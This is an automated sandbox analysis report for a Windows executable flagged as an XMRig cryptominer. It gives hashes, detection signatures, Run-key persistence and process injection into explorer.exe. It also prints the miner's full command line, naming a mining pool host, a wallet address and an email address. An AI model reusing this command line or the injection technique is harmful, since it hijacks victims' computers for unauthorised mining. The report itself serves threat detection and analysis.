Analysis
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max time kernel
151s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 06:25
Static task
static1
Behavioral task
behavioral1
Sample
c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe
Resource
win10v2004-20220414-en
General
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Target
c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe
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Size
9.4MB
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MD5
c014edde246b35f3a7379cb4c5e1185e
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SHA1
584ae3a33acdd163750007847543826a15d95df9
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SHA256
c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e
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SHA512
522c4fa3645c30ed1e863b52cbf1f089a0c41075e52b5323c7079ab3ef80b850893d5be49f5c7a047f284c901ba56801a5d626e2a3d4e4c99f18d36e72f7e4be
Malware Config
Signatures
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XMRig Miner Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/2724-140-0x0000000140000000-0x00000001400F3000-memory.dmp xmrig behavioral2/memory/2724-141-0x0000000140000000-0x00000001400F3000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
Services.exepid process 4984 Services.exe -
Processes:
resource yara_rule behavioral2/memory/2724-136-0x0000000140000000-0x00000001400F3000-memory.dmp upx behavioral2/memory/2724-138-0x0000000140000000-0x00000001400F3000-memory.dmp upx behavioral2/memory/2724-139-0x0000000140000000-0x00000001400F3000-memory.dmp upx behavioral2/memory/2724-140-0x0000000140000000-0x00000001400F3000-memory.dmp upx behavioral2/memory/2724-141-0x0000000140000000-0x00000001400F3000-memory.dmp upx -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Services.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Services.exe" c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Services.exedescription pid process target process PID 4984 set thread context of 2724 4984 Services.exe explorer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 24 IoCs
Processes:
c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exepid process 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exeServices.exeexplorer.exedescription pid process Token: SeDebugPrivilege 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe Token: SeDebugPrivilege 4984 Services.exe Token: SeLockMemoryPrivilege 2724 explorer.exe Token: SeLockMemoryPrivilege 2724 explorer.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exeServices.exedescription pid process target process PID 4592 wrote to memory of 4984 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe Services.exe PID 4592 wrote to memory of 4984 4592 c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe Services.exe PID 4984 wrote to memory of 2724 4984 Services.exe explorer.exe PID 4984 wrote to memory of 2724 4984 Services.exe explorer.exe PID 4984 wrote to memory of 2724 4984 Services.exe explorer.exe PID 4984 wrote to memory of 2724 4984 Services.exe explorer.exe PID 4984 wrote to memory of 2724 4984 Services.exe explorer.exe PID 4984 wrote to memory of 2724 4984 Services.exe explorer.exe PID 4984 wrote to memory of 2724 4984 Services.exe explorer.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe"C:\Users\Admin\AppData\Local\Temp\c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Services.exe"C:\Users\Admin\AppData\Local\Temp\Services.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exeC:\Windows\explorer.exe -B --donate-level=1 -a cryptonight --url=xmr-eu1.nanopool.org -u 45amno2acngZyAX54xRCNhFDVRGEt9gBr9z43zvv95BWGQ41FWJkwk7RRUiDBu2skr3gPmDBQ5QkkNAKCrQgXPQuAvjKvpq -p john.carroll.pr@gmail.com -R --variant=-1 -t 1 --max-cpu-usage=503⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\Services.exeFilesize
9.4MB
MD5c014edde246b35f3a7379cb4c5e1185e
SHA1584ae3a33acdd163750007847543826a15d95df9
SHA256c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e
SHA512522c4fa3645c30ed1e863b52cbf1f089a0c41075e52b5323c7079ab3ef80b850893d5be49f5c7a047f284c901ba56801a5d626e2a3d4e4c99f18d36e72f7e4be
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C:\Users\Admin\AppData\Local\Temp\Services.exeFilesize
9.4MB
MD5c014edde246b35f3a7379cb4c5e1185e
SHA1584ae3a33acdd163750007847543826a15d95df9
SHA256c32ff3c02f5ec47707631568f2f5435e3391820a7c238925a782e6e74656134e
SHA512522c4fa3645c30ed1e863b52cbf1f089a0c41075e52b5323c7079ab3ef80b850893d5be49f5c7a047f284c901ba56801a5d626e2a3d4e4c99f18d36e72f7e4be
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memory/2724-136-0x0000000140000000-0x00000001400F3000-memory.dmpFilesize
972KB
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memory/2724-137-0x00000001400EC500-mapping.dmp
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memory/2724-138-0x0000000140000000-0x00000001400F3000-memory.dmpFilesize
972KB
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memory/2724-139-0x0000000140000000-0x00000001400F3000-memory.dmpFilesize
972KB
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memory/2724-140-0x0000000140000000-0x00000001400F3000-memory.dmpFilesize
972KB
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memory/2724-141-0x0000000140000000-0x00000001400F3000-memory.dmpFilesize
972KB
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memory/4592-130-0x0000000000780000-0x00000000010EC000-memory.dmpFilesize
9.4MB
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memory/4592-131-0x00007FFB7D2B0000-0x00007FFB7DD71000-memory.dmpFilesize
10.8MB
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memory/4984-132-0x0000000000000000-mapping.dmp
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memory/4984-135-0x00007FFB7D2B0000-0x00007FFB7DD71000-memory.dmpFilesize
10.8MB